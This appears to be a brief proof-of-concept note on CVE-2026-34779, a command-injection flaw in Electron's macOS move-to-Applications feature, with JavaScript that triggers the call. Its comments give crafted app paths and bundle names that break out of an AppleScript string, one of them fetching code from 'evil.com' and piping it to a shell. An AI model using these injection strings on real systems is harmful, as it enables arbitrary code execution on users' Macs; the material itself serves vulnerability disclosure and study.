CVE-2026-34779 Electron macOS任意代码执行漏洞

// PoC: Conceptual demonstration of the vulnerability trigger // The vulnerability relies on the app being installed in a path with specific characters // and the app calling app.moveToApplicationsFolder(). const { app } = require('electron'); // Assume the app is running from a path like "/Users/attacker/'; do shell script 'id'; '/MyApp.app" // When the user accepts the move prompt, the internal AppleScript fails to escape the single quote. function triggerVulnerability() { try { console.log("Attempting to move to Applications folder..."); // This call triggers the insecure AppleScript fallback on vulnerable versions app.moveToApplicationsFolder(); } catch (error) { console.error("Error moving app:", error); } } // In a real exploit scenario, the attacker would ensure the app bundle name // contains characters that break out of the AppleScript string context. // Example malicious bundle name: `App"; do shell script "curl http://evil.com | sh"; ".app` triggerVulnerability();